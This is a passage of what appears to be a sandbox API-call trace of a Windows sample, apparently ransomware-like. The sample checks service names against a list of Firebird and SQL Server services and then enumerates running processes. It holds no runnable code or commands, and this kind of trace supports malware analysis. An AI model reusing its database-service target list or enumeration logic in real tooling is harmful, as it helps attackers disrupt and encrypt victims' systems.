returned -1 [0222.616] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0222.616] lstrlenW (lpString="SecurityHealthService") returned 21 [0222.616] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0222.616] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0222.616] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0222.616] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0222.616] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0222.616] lstrlenW (lpString="SENS") returned 4 [0222.616] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0222.616] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0222.616] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0222.616] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0222.616] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0222.616] lstrlenW (lpString="ShellHWDetection") returned 16 [0222.617] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0222.617] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0222.617] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0222.617] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0222.617] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0222.617] lstrlenW (lpString="Spooler") returned 7 [0222.617] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0222.617] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0222.617] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0222.617] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0222.617] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0222.617] lstrlenW (lpString="SSDPSRV") returned 7 [0222.617] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0222.617] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0222.617] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0222.617] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0222.617] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0222.617] lstrlenW (lpString="StateRepository") returned 15 [0222.617] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0222.617] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0222.617] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0222.617] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0222.617] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0222.617] lstrlenW (lpString="SysMain") returned 7 [0222.617] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0222.617] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0222.617] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0222.617] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0222.617] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x8068b8 | out: hHeap=0x790000) returned 1 [0222.617] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2d8 [0222.621] Process32FirstW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0222.622] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0222.624] lstrlenW (lpString="System") returned 6 [0222.624] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0222.625] lstrlenW (lpString="smss.exe") returned 8 [0222.625] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0222.626] lstrlenW (lpString="csrss.exe") returned 9 [0222.626] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0222.627] lstrlenW (lpString="wininit.exe") returned 11 [0222.627] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0222.628] lstrlenW (lpString="csrss.exe") returned 9 [0222.628] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0222.629] lstrlenW (lpString="winlogon.exe") returned 12 [0222.629] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0222.629] lstrlenW (lpString="services.exe") returned 12 [0222.629] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0222.630] lstrlenW (lpString="lsass.exe") returned 9 [0222.630] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.631] lstrlenW (lpString="svchost.exe") returned 11 [0222.631] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0222.632] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0222.632] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0222.633] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0222.633] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.633] lstrlenW (lpString="svchost.exe") returned 11 [0222.633] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0222.634] lstrlenW (lpString="dwm.exe") returned 7 [0222.634] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x59, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.635] lstrlenW (lpString="svchost.exe") returned 11 [0222.635] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.636] lstrlenW (lpString="svchost.exe") returned 11 [0222.636] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.636] lstrlenW (lpString="svchost.exe") returned 11 [0222.636] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.637] lstrlenW (lpString="svchost.exe") returned 11 [0222.637] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.638] lstrlenW (lpString="svchost.exe") returned 11 [0222.638] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.639] lstrlenW (lpString="svchost.exe") returned 11 [0222.639] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.640] lstrlenW (lpString="svchost.exe") returned 11 [0222.640] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.641] lstrlenW (lpString="svchost.exe") returned 11 [0222.641] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.641] lstrlenW (lpString="svchost.exe") returned 11 [0222.641] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0222.642] lstrlenW (lpString="spoolsv.exe") returned 11 [0222.642] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.644] lstrlenW (lpString="svchost.exe") returned 11 [0222.644] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.645] lstrlenW (lpString="svchost.exe") returned 11 [0222.645] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0222.646] lstrlenW (lpString="audiodg.exe") returned 11 [0222.646] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0222.647] lstrlenW (lpString="sihost.exe") returned 10 [0222.647] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.648] lstrlenW (lpString="svchost.exe") returned 11 [0222.648] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0222.649] lstrlenW (lpString="taskhostw.exe") returned 13 [0222.649] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0222.649] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0222.650] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0222.650] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0222.650] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x40, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0222.652] lstrlenW (lpString="explorer.exe") returned 12 [0222.652] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0222.652] lstrlenW (lpString="Memory Compression") returned 18 [0222.652] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0222.653] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0222.653] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0222.654] lstrlenW (lpString="SearchUI.exe") returned 12 [0222.654] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0222.655] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0222.655] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0222.656] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0222.656] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="entering.exe")) returned 1 [0222.657] lstrlenW (lpString="entering.exe") returned 12 [0222.657] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="literally.exe")) returned 1 [0222.657] lstrlenW (lpString="literally.exe") returned 13 [0222.657] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="prep.exe")) returned 1 [0222.658] lstrlenW (lpString="prep.exe") returned 8 [0222.658] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="homeless.exe")) returned 1 [0222.675] lstrlenW (lpString="homeless.exe") returned 12 [0222.675] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="tips.exe")) returned 1 [0222.675] lstrlenW (lpString="tips.exe") returned 8 [0222.676] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="rhode_cow.exe")) returned 1 [0222.676] lstrlenW (lpString="rhode_cow.exe") returned 13 [0222.676] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="discount.exe")) returned 1 [0222.677] lstrlenW (lpString="discount.exe") returned 12 [0222.677] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="littleclosest.exe")) returned 1 [0222.678] lstrlenW (lpString="littleclosest.exe") returned 17 [0222.678] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="compact.exe")) returned 1 [0222.678] lstrlenW (lpString="compact.exe") returned 11 [0222.678] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="transmission-inclusion.exe")) returned 1 [0222.679] lstrlenW (lpString="transmission-inclusion.exe") returned 26 [0222.679] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="mcdonald-drugs-employers.exe")) returned 1 [0222.680] lstrlenW (lpString="mcdonald-drugs-employers.exe") returned 28 [0222.680] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="harris promoting wow.exe")) returned 1 [0222.680] lstrlenW (lpString="harris promoting wow.exe") returned 24 [0222.680] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="vincentkills.exe")) returned 1 [0222.681] lstrlenW (lpString="vincentkills.exe") returned 16 [0222.681] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="armstrong.exe")) returned 1 [0222.682] lstrlenW (lpString="armstrong.exe") returned 13 [0222.682] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="superb_guilty.exe")) returned 1 [0222.683] lstrlenW (lpString="superb_guilty.exe") returned 17 [0222.683] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="conditional employer.exe")) returned 1 [0222.683] lstrlenW (lpString="conditional employer.exe") returned 24 [0222.683] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="middle shown.exe")) returned 1 [0222.684] lstrlenW (lpString="middle shown.exe") returned 16 [0222.684] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="forced_online.exe")) returned 1 [0222.685] lstrlenW (lpString="forced_online.exe") returned 17 [0222.685] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="knitting.exe")) returned 1 [0222.686] lstrlenW (lpString="knitting.exe") returned 12 [0222.686] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="counting_rankings_maternity.exe")) returned 1 [0222.686] lstrlenW (lpString="counting_rankings_maternity.exe") returned 31 [0222.686] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="telephony_assumption_pharmacies.exe")) returned 1 [0222.687] lstrlenW (lpString="telephony_assumption_pharmacies.exe") returned 35 [0222.687] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="guidance inns helpful.exe")) returned 1 [0222.688] lstrlenW (lpString="guidance inns helpful.exe") returned 25 [0222.688] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.689] lstrlenW (lpString="svchost.exe") returned 11 [0222.689] Process32NextW (in: 